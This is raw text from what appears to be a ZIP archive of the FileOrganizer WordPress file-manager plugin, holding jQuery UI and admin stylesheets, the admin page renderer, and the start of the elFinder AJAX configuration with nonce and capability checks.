.ui-icon-arrow-1-s { background-position: -65px -32px; }
.ui-icon-arrow-1-sw { background-position: -80px -32px; }
.ui-icon-arrow-1-w { background-position: -96px -32px; }
.ui-icon-arrow-1-nw { background-position: -112px -32px; }
.ui-icon-arrow-2-n-s { background-position: -128px -32px; }
.ui-icon-arrow-2-ne-sw { background-position: -144px -32px; }
.ui-icon-arrow-2-e-w { background-position: -160px -32px; }
.ui-icon-arrow-2-se-nw { background-position: -176px -32px; }
.ui-icon-arrowstop-1-n { background-position: -192px -32px; }
.ui-icon-arrowstop-1-e { background-position: -208px -32px; }
.ui-icon-arrowstop-1-s { background-position: -224px -32px; }
.ui-icon-arrowstop-1-w { background-position: -240px -32px; }
.ui-icon-arrowthick-1-n { background-position: 1px -48px; }
.ui-icon-arrowthick-1-ne { background-position: -16px -48px; }
.ui-icon-arrowthick-1-e { background-position: -32px -48px; }
.ui-icon-arrowthick-1-se { background-position: -48px -48px; }
.ui-icon-arrowthick-1-s { background-position: -64px -48px; }
.ui-icon-arrowthick-1-sw { background-position: -80px -48px; }
.ui-icon-arrowthick-1-w { background-position: -96px -48px; }
.ui-icon-arrowthick-1-nw { background-position: -112px -48px; }
.ui-icon-arrowthick-2-n-s { background-position: -128px -48px; }
.ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; }
.ui-icon-arrowthick-2-e-w { background-position: -160px -48px; }
.ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; }
.ui-icon-arrowthickstop-1-n { background-position: -192px -48px; }
.ui-icon-arrowthickstop-1-e { background-position: -208px -48px; }
.ui-icon-arrowthickstop-1-s { background-position: -224px -48px; }
.ui-icon-arrowthickstop-1-w { background-position: -240px -48px; }
.ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; }
.ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; }
.ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; }
.ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; }
.ui-icon-arrowreturn-1-w { background-position: -64px -64px; }
.ui-icon-arrowreturn-1-n { background-position: -80px -64px; }
.ui-icon-arrowreturn-1-e { background-position: -96px -64px; }
.ui-icon-arrowreturn-1-s { background-position: -112px -64px; }
.ui-icon-arrowrefresh-1-w { background-position: -128px -64px; }
.ui-icon-arrowrefresh-1-n { background-position: -144px -64px; }
.ui-icon-arrowrefresh-1-e { background-position: -160px -64px; }
.ui-icon-arrowrefresh-1-s { background-position: -176px -64px; }
.ui-icon-arrow-4 { background-position: 0 -80px; }
.ui-icon-arrow-4-diag { background-position: -16px -80px; }
.ui-icon-extlink { background-position: -32px -80px; }
.ui-icon-newwin { background-position: -48px -80px; }
.ui-icon-refresh { background-position: -64px -80px; }
.ui-icon-shuffle { background-position: -80px -80px; }
.ui-icon-transfer-e-w { background-position: -96px -80px; }
.ui-icon-transferthick-e-w { background-position: -112px -80px; }
.ui-icon-folder-collapsed { background-position: 0 -96px; }
.ui-icon-folder-open { background-position: -16px -96px; }
.ui-icon-document { background-position: -32px -96px; }
.ui-icon-document-b { background-position: -48px -96px; }
.ui-icon-note { background-position: -64px -96px; }
.ui-icon-mail-closed { background-position: -80px -96px; }
.ui-icon-mail-open { background-position: -96px -96px; }
.ui-icon-suitcase { background-position: -112px -96px; }
.ui-icon-comment { background-position: -128px -96px; }
.ui-icon-person { background-position: -144px -96px; }
.ui-icon-print { background-position: -160px -96px; }
.ui-icon-trash { background-position: -176px -96px; }
.ui-icon-locked { background-position: -192px -96px; }
.ui-icon-unlocked { background-position: -208px -96px; }
.ui-icon-bookmark { background-position: -224px -96px; }
.ui-icon-tag { background-position: -240px -96px; }
.ui-icon-home { background-position: 0 -112px; }
.ui-icon-flag { background-position: -16px -112px; }
.ui-icon-calendar { background-position: -32px -112px; }
.ui-icon-cart { background-position: -48px -112px; }
.ui-icon-pencil { background-position: -64px -112px; }
.ui-icon-clock { background-position: -80px -112px; }
.ui-icon-disk { background-position: -96px -112px; }
.ui-icon-calculator { background-position: -112px -112px; }
.ui-icon-zoomin { background-position: -128px -112px; }
.ui-icon-zoomout { background-position: -144px -112px; }
.ui-icon-search { background-position: -160px -112px; }
.ui-icon-wrench { background-position: -176px -112px; }
.ui-icon-gear { background-position: -192px -112px; }
.ui-icon-heart { background-position: -208px -112px; }
.ui-icon-star { background-position: -224px -112px; }
.ui-icon-link { background-position: -240px -112px; }
.ui-icon-cancel { background-position: 0 -128px; }
.ui-icon-plus { background-position: -16px -128px; }
.ui-icon-plusthick { background-position: -32px -128px; }
.ui-icon-minus { background-position: -48px -128px; }
.ui-icon-minusthick { background-position: -64px -128px; }
.ui-icon-close { background-position: -80px -128px; }
.ui-icon-closethick { background-position: -96px -128px; }
.ui-icon-key { background-position: -112px -128px; }
.ui-icon-lightbulb { background-position: -128px -128px; }
.ui-icon-scissors { background-position: -144px -128px; }
.ui-icon-clipboard { background-position: -160px -128px; }
.ui-icon-copy { background-position: -176px -128px; }
.ui-icon-contact { background-position: -192px -128px; }
.ui-icon-image { background-position: -208px -128px; }
.ui-icon-video { background-position: -224px -128px; }
.ui-icon-script { background-position: -240px -128px; }
.ui-icon-alert { background-position: 0 -144px; }
.ui-icon-info { background-position: -16px -144px; }
.ui-icon-notice { background-position: -32px -144px; }
.ui-icon-help { background-position: -48px -144px; }
.ui-icon-check { background-position: -64px -144px; }
.ui-icon-bullet { background-position: -80px -144px; }
.ui-icon-radio-on { background-position: -96px -144px; }
.ui-icon-radio-off { background-position: -112px -144px; }
.ui-icon-pin-w { background-position: -128px -144px; }
.ui-icon-pin-s { background-position: -144px -144px; }
.ui-icon-play { background-position: 0 -160px; }
.ui-icon-pause { background-position: -16px -160px; }
.ui-icon-seek-next { background-position: -32px -160px; }
.ui-icon-seek-prev { background-position: -48px -160px; }
.ui-icon-seek-end { background-position: -64px -160px; }
.ui-icon-seek-start { background-position: -80px -160px; }
/* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */
.ui-icon-seek-first { background-position: -80px -160px; }
.ui-icon-stop { background-position: -96px -160px; }
.ui-icon-eject { background-position: -112px -160px; }
.ui-icon-volume-off { background-position: -128px -160px; }
.ui-icon-volume-on { background-position: -144px -160px; }
.ui-icon-power { background-position: 0 -176px; }
.ui-icon-signal-diag { background-position: -16px -176px; }
.ui-icon-signal { background-position: -32px -176px; }
.ui-icon-battery-0 { background-position: -48px -176px; }
.ui-icon-battery-1 { background-position: -64px -176px; }
.ui-icon-battery-2 { background-position: -80px -176px; }
.ui-icon-battery-3 { background-position: -96px -176px; }
.ui-icon-circle-plus { background-position: 0 -192px; }
.ui-icon-circle-minus { background-position: -16px -192px; }
.ui-icon-circle-close { background-position: -32px -192px; }
.ui-icon-circle-triangle-e { background-position: -48px -192px; }
.ui-icon-circle-triangle-s { background-position: -64px -192px; }
.ui-icon-circle-triangle-w { background-position: -80px -192px; }
.ui-icon-circle-triangle-n { background-position: -96px -192px; }
.ui-icon-circle-arrow-e { background-position: -112px -192px; }
.ui-icon-circle-arrow-s { background-position: -128px -192px; }
.ui-icon-circle-arrow-w { background-position: -144px -192px; }
.ui-icon-circle-arrow-n { background-position: -160px -192px; }
.ui-icon-circle-zoomin { background-position: -176px -192px; }
.ui-icon-circle-zoomout { background-position: -192px -192px; }
.ui-icon-circle-check { background-position: -208px -192px; }
.ui-icon-circlesmall-plus { background-position: 0 -208px; }
.ui-icon-circlesmall-minus { background-position: -16px -208px; }
.ui-icon-circlesmall-close { background-position: -32px -208px; }
.ui-icon-squaresmall-plus { background-position: -48px -208px; }
.ui-icon-squaresmall-minus { background-position: -64px -208px; }
.ui-icon-squaresmall-close { background-position: -80px -208px; }
.ui-icon-grip-dotted-vertical { background-position: 0 -224px; }
.ui-icon-grip-dotted-horizontal { background-position: -16px -224px; }
.ui-icon-grip-solid-vertical { background-position: -32px -224px; }
.ui-icon-grip-solid-horizontal { background-position: -48px -224px; }
.ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; }
.ui-icon-grip-diagonal-se { background-position: -80px -224px; }


/* Misc visuals
----------------------------------*/

/* Corner radius */
.ui-corner-all,
.ui-corner-top,
.ui-corner-left,
.ui-corner-tl {
	border-top-left-radius: 4px;
}
.ui-corner-all,
.ui-corner-top,
.ui-corner-right,
.ui-corner-tr {
	border-top-right-radius: 4px;
}
.ui-corner-all,
.ui-corner-bottom,
.ui-corner-left,
.ui-corner-bl {
	border-bottom-left-radius: 4px;
}
.ui-corner-all,
.ui-corner-bottom,
.ui-corner-right,
.ui-corner-br {
	border-bottom-right-radius: 4px;
}

/* Overlays */
.ui-widget-overlay {
	background: #aaaaaa;
	opacity: .3;
	filter: Alpha(Opacity=30); /* support: IE8 */
}
.ui-widget-shadow {
	-webkit-box-shadow: -8px -8px 8px #aaaaaa;
	box-shadow: -8px -8px 8px #aaaaaa;
}
PK���[�%|8>4>4.wp-content/plugins/fileorganizer/css/admin.cssnu�[���:root {
--fileorganizer-primary:#7256e7;
--fileorganizer-white: #ffffff;
--fileorganizer-black: #373737;
--fileorganizer-blue: #2271b1;
--fileorganizer-gray: #d4d4d4;
--fileorganizer-gray-shade:#dfdfdf;
}

/*Grid*/
.fileorganizer-row {
box-sizing: border-box;
display: flex;
flex: 1 0 auto;
flex-direction: row;
flex-wrap: wrap;
width: 100%;
align-content: stretch;
position: relative;
}

.fileorganizer-col-3{
width: 25%;
}

.fileorganizer-col-9{
width: 75%;
}

.fileorganizer-col-12{
width: 100%;
}

/*Checkbox*/
.fileorganizer-setting-content input[type="checkbox"]{
padding: 8px !important;
}

.fileorganizer-setting-content input[type="checkbox"]:checked::before {
content: "";
margin: -0.60rem 0 0 -0.7rem;
height: 1.313rem;
background-color: var(--fileorganizer-primary);
-webkit-mask-image: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%233582c4%27%2F%3E%3C%2Fsvg%3E");
mask-image: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%233582c4%27%2F%3E%3C%2Fsvg%3E");
width: 23px;
}

.fileorganizer-text-center{
text-align: center;
}

.fileorganizer-mr20 {
margin-right: 20px !important;
}

/*Toggle button*/
.fileorganizer-switch {
position: relative;
display: inline-block;
width: 40px;
height: 18px;
}

.fileorganizer-switch input, .fileorganizer-switch input:disabled{ 
opacity: 0;
width: 0;
height: 0;
}

.fileorganizer-switch input:checked ~ .fileorganizer-slider::before {
left: -10px;
background-color: var(--fileorganizer-primary);
}

.fileorganizer-slider {
position: absolute;
cursor: pointer;
top: 0;
left: 0;
right: 0;
bottom: 0;
background-color: var(--fileorganizer-gray-shade);
-webkit-transition: .4s;
transition: .4s;
box-shadow: 0px 0px 4px 0px #b1b1b1 inset;
}

.fileorganizer-slider::before {
position: absolute;
content: "";
height: 24px;
width: 24px;
left: -1px;
bottom: 3px;
background-color: #c1c1c1;
-webkit-transition: .4s;
transition: .4s;
top: -3px;
}

input:focus + .fileorganizer-slider {
box-shadow: 0 0 1px var(--fileorganizer-primary);
}

input:checked + .fileorganizer-slider:before {
-webkit-transform: translateX(26px);
-ms-transform: translateX(26px);
transform: translateX(26px);
}

input:disabled + .fileorganizer-slider{
opacity: 0.5;
}

input:disabled + .fileorganizer-slider:before{
background-color: #939393;
}

.fileorganizer-slider.fileorganizer-round {
border-radius: 34px;
}

.fileorganizer-slider.fileorganizer-round:before {
border-radius: 50%;
}

/*Common css*/
.fileorganizer-borderless{
border:none !important;
}

.fileorganizer-text-right{
text-align: right;
}

/*Elfinder*/
Toolbar
.elfinder-toolbar .ui-widget-content {
border-color: #c9c9c9 !important;
}

/*Context Menu*/
.elfinder .elfinder-contextmenu-item {
padding: 4px 32px !important;
}

.elfinder .elfinder-contextmenu, .elfinder .elfinder-contextmenu-sub {
border: 1px solid #e1e1e1 !important;
box-shadow: 0px 0px 9px -5px #7d7d7d !important;
}

.elfinder .elfinder-contextmenu-separator {
border-top: 1px solid #d5d5d5 !important;
margin: 4px 6px !important;
}

/*Table*/
.elfinder-table-header-sticky table {
border: none !important;
}
.elfinder .elfinder-cwd table thead td.ui-state-active{
color: var(--fileorganizer-white);
}

/*Properties Dialog*/
.elfinder-info-title {
padding: 4px 0px 4px 0 !important;
}

.std42-dialog, .std42-dialog .ui-widget-content {
background-color: #fbfbfb !important;
}

.elfinder-info-tb {
border-top: 1px solid #d5d5d5 !important;
margin: 14px 0;
}

.elfinder-info-tb td {
padding: 4px 0 !important;
}

.elfinder-ltr .elfinder-info-tb tr td:first-child{
text-align: left !important;
}

.elfinder-quicklook.elfinder-quicklook-fullscreen {
width: 100% !important;
height: 100% !important;
top: 0 !important;
position: absolute !important;
left: 0 !important;
}

.elfinder.elfinder-ltr div.elfinder-bottomtray {
position: absolute !important;
margin: 0 0 5px 0 !important;
}

/*Setting*/
.fileorganizer-notices{
display: none;
}

.fileorganizer-settings-header{
background: var(--fileorganizer-white);
padding: 14px;
box-shadow: 0px 0px 10px -2px var(--grey);
}

.fileorganizer-setting-content, 
.fileorganizer-license-content {
display: grid;
grid-template-columns: auto 200px;
}

.fileorganizer-setting-content,
.fileorganizer-settings-header{
border-radius: 6px;
}

.fileorganizer-title h1 {
margin: 10px 0 20px 0px;
font-size: 18px;
display: flex;
}

.fileorganizer-title label {
margin: auto 4px;
}

.fileorganizer-title span {
font-size: 21px;
}

.fileorganizer-title label,.fileorganizer-title span{
color: #3e3e3e;
}

.fileorganizer-form-input input[type="text"], .fileorganizer-form-input input[type="number"], .fileorganizer-form-input select, .fileorganizer-dialog-desc select, .fileorganizer-dialog-desc input[type="text"], .fileorganizer-dialog-desc input[type="number"], .fileorganizer-dialog-desc textarea {
border-color: #c2c2c2;
padding: 2px 7px;
width: 320px;
}

.fileorganizer-form-input code{
background: #fff5be;
}

.button.fileorganizer-button-primary {
padding: 3px 11px 6px 11px;
background: var(--fileorganizer-primary);
color: var(--fileorganizer-white);
font-weight: 600;
border-color: var(--fileorganizer-primary);
}

.button.fileorganizer-button-primary:hover,.button.fileorganizer-button-primary:focus,.button.fileorganizer-button-primary:active {
background: #8264ff;
color: var(--fileorganizer-white);
border-color: #8264ff !important;
}

/*Header*/
.fileorganizer-header {
margin: 0 0 8px 0;
}

.fileorganizer_wrap {
background: var(--fileorganizer-white);
padding: 14px;
margin: 10px 10px 10px -10px;
border-radius: 6px;
box-shadow: 0px 0px 10px -2px var(--grey);
}

.fileorganizer-td {
display: flex;
align-content: center;
}

.fileorganizer-td img {
width: 46px;
display: flex;
}

.fileorganizer-td .fileorganizer-heading {
font-size: 22px;
margin: auto 0;
font-weight: 400;
}

.fileorganizer-td label {
margin: auto 8px;
font-size: 14px;
font-weight: 600;
}

.fileorganizer-options .fileorganizer-td{
justify-content: right;
}

#fileorganizer_elfinder {
margin: 10px 0 0 0;
}

.fileorganizer_footer_wrap {
text-align: right;
padding: 10px 14px;
font-weight: 600;
font-size: 14px;
}

.fileorganizer_footer_wrap a {
text-decoration: none;
}

/*Panel*/
.fileorganizer-wrapper {
padding: 20px 0 0 0 !important;
}

.fileorganizer-nav-tab:first-child {
margin: 0;
}

.fileorganizer-disabled-panel .fileorganizer-tab-panel-wrap {
filter: blur(1px);
-webkit-filter: blur(1px);
z-index: 0;
}

.fileorganizer-pro-overlay {
position: absolute;
width: 100%;
height: 100%;
left: 0;
top: 0;
z-index: 1;
display: flex;
}

.fileorganizer-lock-content {
display: flex;
margin: auto;
background: var(--fileorganizer-black);
padding: 20px;
border-radius: 6px;
align-content: center;
flex-direction: column;
}

.fileorganizer-lock-icon {
color: var(--fileorganizer-white);
margin: auto;
font-size: 60px;
width: auto;
height: auto;
}

.fileorganizer-lock-text {
font-size: 16px;
margin: 13px 0px 6px 0;
color: var(--fileorganizer-white);
}

.fileorganizer-tab-panel {
background: var(--fileorganizer-white);
padding: 8px 20px;
margin: -2px 0 0 0;
display: none;
position: relative;
}

.fileorganizer-tab-panel .form-table{
margin: 0;
}

.fileorganizer-nav-tab.nav-tab-active {
background: var(--fileorganizer-white) !important;
border-color: var(--fileorganizer-white) !important;
}

/* Dialog box */
.fileorganizer-dialog{
position: fixed;
width: 100%;
height: 100%;
background: #494949bf;
top: 0;
display: flex;
overflow-x: auto;
left: 0;
display:none;
}

.fileorganizer-dialog-wrap {
margin: 70px auto 94px auto;
width: 50%;
background: var(--fileorganizer-white);
box-shadow: 0px 0px 17px -10px var(--fileorganizer-white);
border-radius: 6px;
height: min-content;
}

.fileorganizer-dialog-container{
width: 100%;
}

.fileorganizer-dialog-header {
width: 100%;
background: var(--fileorganizer-primary);
border-radius: 6px 6px 0 0;
}

.fileorganizer-dialog-title {
font-size: 14px;
font-weight: 600;
color: var(--fileorganizer-white);
}

.fileorganizer-dialog-title span{
margin: auto 0;
}

.fileorganizer-dialog .fileorganizer-status-icon i{
margin: auto 10px auto auto;
height: auto;
font-size: 26px;
}

.fileorganizer-dialog-header-content{
padding: 16px;
position: relative;
}

.fileorganizer-dialog-close {
position: absolute;
right: 12px;
top: 14px;
cursor: pointer;
background: none;
border: none;
color: var(--fileorganizer-white);
}

.fileorganizer-dialog-content{
padding: 12px 18px;
}

.fileorganizer-dialog-content .fileorganizer-col{
padding: 8px 0;
font-size: 14px;
overflow-wrap: anywhere;
border-bottom: 1px solid var(--fileorganizer-gray-shade);
}

.fileorganizer-dialog-form label{
font-weight: 600;
margin-right: 9px;
color: var(--fileorganizer-black);
width: 100%;
display: inline-block;
margin: 8px 0;
}

.fileorganizer-dialog-desc select, .fileorganizer-dialog-desc input[type="text"], .fileorganizer-dialog-desc input[type="number"], .fileorganizer-dialog-desc textarea {
max-width: 94% !important;
width: 94% !important;
}

/*User role restrictions*/
.fileorganizer-td span.dashicons {
display: flex;
margin: auto 4px;
font-size: 32px;
color: var(--fileorganizer-primary);
height: auto;
width: auto;
}

.fileorganizer-dialog-desc.fileorganizer-chkbox-group {
display: grid;
grid-template-columns: auto auto auto auto;
}

.fileorganizer-userrole-btnwrap {
padding: 20px;
display: flex;
justify-content: right;
}

#fileorganizer-add-userrole-restriction, #fileorganizer-add-user-restriction {
background: var(--fileorganizer-primary);
color: var(--fileorganizer-white);
padding: 9px;
border: 1px solid var(--fileorganizer-primary);
border-radius: 6px;
display: flex;
cursor: pointer;
}

#fileorganizer-add-userrole-restriction i, #fileorganizer-add-user-restriction i {
font-size: 22px;
margin: auto;
}

#fileorganizer-add-userrole-restriction span, #fileorganizer-add-user-restriction span {
margin: auto 7px;
font-weight: bold;
}

.fileorganizer-chkbox-wrap {
margin: 3px 0;
}

.fileorganizer-table tr:first-child {
background: var(--fileorganizer-primary);
}

.fileorganizer-table tr th:first-child {
padding-left: 12px !important;
} 

.fileorganizer-table {
box-shadow: 0px 0px 5px 2px var(--fileorganizer-gray-shade) !important;
background: var(--fileorganizer-white);
border-radius: 6px;
border: none !important;
overflow: hidden;
}

.fileorganizer-table th {
color: var(--fileorganizer-white);
font-weight: 600;
border-bottom: 1px solid var(--fileorganizer-gray-shade);
padding: 17px 8px;
}

.fileorganizer-table td {
color: var(--fileorganizer-black);
}

.fileorganizer-table .fileorganizer-td {
padding: 5px 0;
}

.fileorganizer-table th, .fileorganizer-table td {
background: none;
font-size: 14px;
}

.fileorganizer-table-actions button {
margin-right: 6px;
cursor: pointer;
}

.fileorganizer-delete, .fileorganizer-edit {
border: 1px solid #af9ef6;
color: var(--fileorganizer-primary);
border-radius: 6px;
font-size: 13px;
display: flex;
align-content: center;
padding: 5px 14px 6px 6px;
width: 32px;
cursor: pointer;
background: #f6f4ff;
margin: auto;
}

.fileorganizer-delete {
color: #ff5151;
background: #fff7f7;
border-color: #fbb;
}

.fileorganizer-table-actions {
display: flex;
}

.fileorganizer-table-actions i {
font-size: 18px;
display: flex;
}

.fileorganizer-restrictions-wrap {
display: flex;
padding: 5px 0;
color: var(--fileorganizer-primary);
font-weight: 600;
font-size: 13px !important;
}

.fileorganizer-restrictions-content{
margin: 20px 0;
}

.fileorganizer-restrictions-wrap span {
margin: auto 3px 0px 0;
}

.fileorganizer_invalid_path.dashicons.dashicons-info {
font-size: 17px;
margin: 3px 0;
color: #ff6a66 !important;
cursor: pointer;
}

.fileorganizer-path-error {
color: #ee7e7e;
}

/*Editor*/
.fileorganizer_wrap .CodeMirror.CodeMirror-wrap {
height: 100% !important;
}

.fileorganizer_wrap .elfinder-dialog-edit.elfinder-dialog-active.elfinder-maximized {
z-index: 9999 !important;
padding-top: 4px;
}

/*License*/
.fileorganizer-tab-group {
background: #fff;
padding: 10px 25px;
box-sizing: border-box;
border-radius: 6px;
margin-top: 20px;
height: max-content;
}

/*Promo*/
.fileorganizer-promotion-content{
margin-top: 54px;
background: #fff;
border: 1px solid #e3e3e3;
padding: 10px 10px 20px 10px;
border-radius: 6px;
}

.fileorganizer-promotion .fileorganizer-promotion-content:nth-child(2),
.fileorganizer-license-content .fileorganizer-promotion .fileorganizer-promotion-content{
margin-top: 20px !important;
}PK���[����7wp-content/plugins/fileorganizer/main/fileorganizer.phpnu�[���<?php
/*
* FILEORGANIZER
* https://fileorganizer.net/
* (c) FileOrganizer Team
*/

if(!defined('FILEORGANIZER_VERSION')){
	die('Hacking Attempt!');
}

// The fileorganizer Header
function fileorganizer_page_header($title = 'FILE ORGANIZER'){
	
	global $fileorganizer;

	// Enqueue required scripts and styles
	wp_enqueue_script('forg-elfinder');
	wp_enqueue_script('forg-lang');
	wp_enqueue_style('forg-elfinder');
	wp_enqueue_style('forg-theme');
?>

<div class="fileorganizer_wrap">
	<table cellpadding="2" class="fileorganizer-header" cellspacing="1" width="100%" border="0">
		<tr>
			<td>
				<div class="fileorganizer-td">
					<img src="<?php echo esc_url(FILEORGANIZER_URL); ?>/images/logo.png" />
					<h3 class="fileorganizer-heading"><?php echo esc_html($title)?></h3>
				</div>
			</td>
			<?php 
			
			if(current_user_can('manage_options')){ 
				$theme = !empty($fileorganizer->options['theme']) ? $fileorganizer->options['theme'] : '';
			?>
			<td class="fileorganizer-options">
				<div class="fileorganizer-td">
					<label><?php esc_html_e('Theme'); ?></label>
					<select id="fileorganizer-theme-switcher"> 
						<option <?php  selected($theme, 'default'); ?> value=""><?php esc_html_e('Default'); ?></option>
						<option <?php  selected($theme, 'dark'); ?>  value="dark"><?php esc_html_e('Dark'); ?></option>
						<option <?php  selected($theme, 'material'); ?>  value="material"><?php esc_html_e('Material'); ?></option>
						<option <?php  selected($theme, 'material-dark'); ?>  value="material-dark"><?php esc_html_e('Material Dark'); ?></option>
						<option <?php  selected($theme, 'material-gray'); ?>  value="material-gray"><?php esc_html_e('Material Light'); ?></option>
						<option <?php selected($theme, 'windows10'); ?>  value="windows10"><?php esc_html_e('Windows 10'); ?></option>
					</select>
				</div>
			</td>
		<?php 
			}
		?>
		</tr>
	</table>

<?php
}

// Fileorganizer Settings footer
function fileorganizer_page_footer($no_twitter = 0){
	
	echo '</div>
	<div class="fileorganizer_footer_wrap">
		<a href="https://fileorganizer.net" target="_blank">'.esc_html__('FileOrganizer').'</a><span> v'.esc_html(FILEORGANIZER_VERSION).' You can report any bugs </span><a href="https://wordpress.org/support/plugin/fileorganizer" target="_blank">here</a>.
	</div>';
	
}

function fileorganizer_render_page(){
	global $fileorganizer;

	echo '<div class="wrap">';

	fileorganizer_page_header();

	echo '<div id="fileorganizer_elfinder"></div>';

	fileorganizer_page_footer();
	
	// Editor configurations
	$elfinder_config = 'url: fileorganizer_ajaxurl,
		customData: {
			action: "fileorganizer_file_folder_manager",
			fileorganizer_nonce: fileorganizer_ajax_nonce,
		},
		defaultView: "'.(!empty($fileorganizer->options['default_view']) ? esc_html($fileorganizer->options['default_view']) : 'list').'",
		height: 500,
		lang: fileorganizer_lang,
		soundPath: fileorganizer_url+"/sounds/",
		cssAutoLoad : false,
		uploadMaxChunkSize: 1048576000000,
		baseUrl: fileorganizer_url,
		requestType: "post",
		commandsOptions: {
			edit : {
				mimes : [],
				editors : [{
					info : {
						id : "codemirror",
						name : "Code Editor",
					},
					mimes : [
						"text/plain",
						"text/html",
						"text/javascript",
						"text/css",
						"text/x-php",
						"application/x-php",
					],
					load : function(textarea) {
						var mimeType = this.file.mime;
						return wp.CodeMirror.fromTextArea(textarea, {
							mode: mimeType,
							indentUnit: 4,
							lineNumbers: true,
							viewportMargin: Infinity,
							lineWrapping: true,
						});
						
					},
					close : function(textarea, instance) {
						this.myCodeMirror = null;
					},
					save: function(textarea, editor) {							  
						jQuery(textarea).val(editor.getValue());
					}
				}]
			}
		},
		ui: ["toolbar", "tree", "path", "stat"],';

		$elfinder_uiOptions = 'uiOptions:{
			toolbarExtra : {
				autoHideUA: [],
				displayTextLabel: "none",
				preferenceInContextmenu: false,
			},
		},';

	$elfinder_config .= apply_filters('fileorganizer_elfinder_script', $elfinder_uiOptions);

?>
<script>
	
	var fileorganizer_ajaxurl = "<?php echo esc_url(admin_url( 'admin-ajax.php' )); ?>";
	var fileorganizer_ajax_nonce = "<?php echo esc_html(wp_create_nonce('fileorganizer_ajax')); ?>";
	var fileorganizer_url = "<?php echo esc_url(FILEORGANIZER_URL); ?>/manager/";
	var fileorganizer_lang = "<?php echo !empty($fileorganizer->options['default_lang']) ? esc_html(sanitize_file_name($fileorganizer->options['default_lang'])) : 'en' ?>";
	
	jQuery(document).ready(function() {

		jQuery('#fileorganizer_elfinder').elfinder({
		<?php echo $elfinder_config; ?>
		}).elfinder("instance");
			
	<?php 	
		if(current_user_can('manage_options')){
	?>
		jQuery('#fileorganizer-theme-switcher').change(function(){
			var theme = jQuery(this).val();
			jQuery.ajax({
				url: fileorganizer_ajaxurl,
				data:{
					action: 'fileorganizer_switch_theme',
					fileorganizer_nonce: fileorganizer_ajax_nonce,
					theme: theme
				},
				dataType: 'json',
				type: 'post',
				success:function(resp){
					if(typeof resp.error != 'undefined'){
						alert(resp.error);
						return;
					}	
					
					if(resp.stylesheet != undefined){	
						jQuery('#forg-theme-css').attr('href', resp.stylesheet);
					}
				}
			});
		});
	<?php 
		}
	?>
	});

</script>
<?php
}PK���[Į�R''.wp-content/plugins/fileorganizer/main/ajax.phpnu�[���<?php
/*
* FILEORGANIZER
* https://fileorganizer.net/
* (c) FileOrganizer Team
*/

if(!defined('FILEORGANIZER_VERSION')){
	die('Hacking Attempt!');
}

add_action('wp_ajax_fileorganizer_file_folder_manager', 'fileorganizer_ajax_handler');
function fileorganizer_ajax_handler(){
	global $fileorganizer;
	
	// Check nonce
	check_admin_referer( 'fileorganizer_ajax' , 'fileorganizer_nonce' );
	
	// Check capability
	$capability = fileorganizer_get_capability();
	
	if(!current_user_can($capability)){
		return;
	}

	// Load saved settings
	$url = site_url();
	$path = !empty($fileorganizer->options['root_path']) ? fileorganizer_cleanpath($fileorganizer->options['root_path']) : ABSPATH;
	
	if(!defined('FILEORGANIZER_PRO') || empty($fileorganizer->options['disable_path_restriction'])){
		$path = fileorganizer_validate_path($path) ? $path : ABSPATH;
	}

	if(is_multisite()){
		$url = network_home_url();
	}

	// Set restrictions
	$restrictions = [
		array(
			'pattern' => '/.tmb/',
			'read' => false,
			'write' => false,
			'hidden' => true,
			'locked' => false,
		),
		array(
			'pattern' => '/.quarantine/',
			'read' => false,
			'write' => false,
			'hidden' => true,
			'locked' => false,
		)
	];
	
	// Hide .htaccess?
	if(!empty($fileorganizer->options['hide_htaccess'])) {
		$restrictions[] = array(
			'pattern' => '/.htaccess/',
			'read' => false,
			'write' => false,
			'hidden' => true,
			'locked' => false
		);
	}

	$disable_commands = array('help', 'preference', 'hide', 'netmount');	

	$config = array();

	// Configure elfinder
	$config[0] = array(
		'driver' => 'LocalFileSystem',
		'path' => $path,
		'URL' => $url,
		'winHashFix' => DIRECTORY_SEPARATOR !== '/',
		'accessControl' => 'access',
		'acceptedName' => 'validName',
		'uploadMaxSize' => 0,
		'disabled' => $disable_commands,
		'attributes' => $restrictions
	);

	// Is trash enabled?
	if (!empty($fileorganizer->options['enable_trash'])) {
		$uploads_dir = wp_upload_dir();

		$trash_dir = fileorganizer_cleanpath($uploads_dir['basedir'].'/fileorganizer/.trash');
		$trash_glob = glob($trash_dir . '-*/', GLOB_ONLYDIR);

		if(!empty($trash_glob) && !empty($trash_glob[0])){
			$trash_dir = $trash_glob[0];
			$trash_name = basename($trash_dir);
		}

		if(empty($trash_name) || !file_exists($trash_dir)){
			$randomness = wp_generate_password(12, false);
			$trash_dir .= '-' . $randomness;
			$trash_name = basename($trash_dir);
			mkdir($trash_dir . '/.tmb', 0755, true);
		}

		if(!file_exists($trash_dir . '/index.php')){
			file_put_contents($trash_dir . '/index.php', '<?php //Silence is golden');
			chmod($trash_dir . '/index.php', 0444);
		}

		// Configure trash
		$config[1] = array(
			'id' => '1',
			'driver' => 'Trash',
			'path' => $trash_dir,
			'tmbURL' => $uploads_dir['baseurl'].'/fileorganizer/'.$trash_name.'/.tmb/',
			'winHashFix' => DIRECTORY_SEPARATOR !== '/',
			'uploadDeny' => array(''),
			'uploadAllow' => array(''),
			'uploadOrder' => array('deny', 'allow'),
			'accessControl' => 'access',
			'disabled' => $disable_commands,
			'attributes' => $restrictions,
		);
		$config[0]['trashHash'] = 't1_Lw';
	}

	$config = apply_filters('fileorganizer_manager_config', $config);

	$el_config = array(
		'locale' => 'zh_CN',
		'debug' => false,
		'roots' => $config,
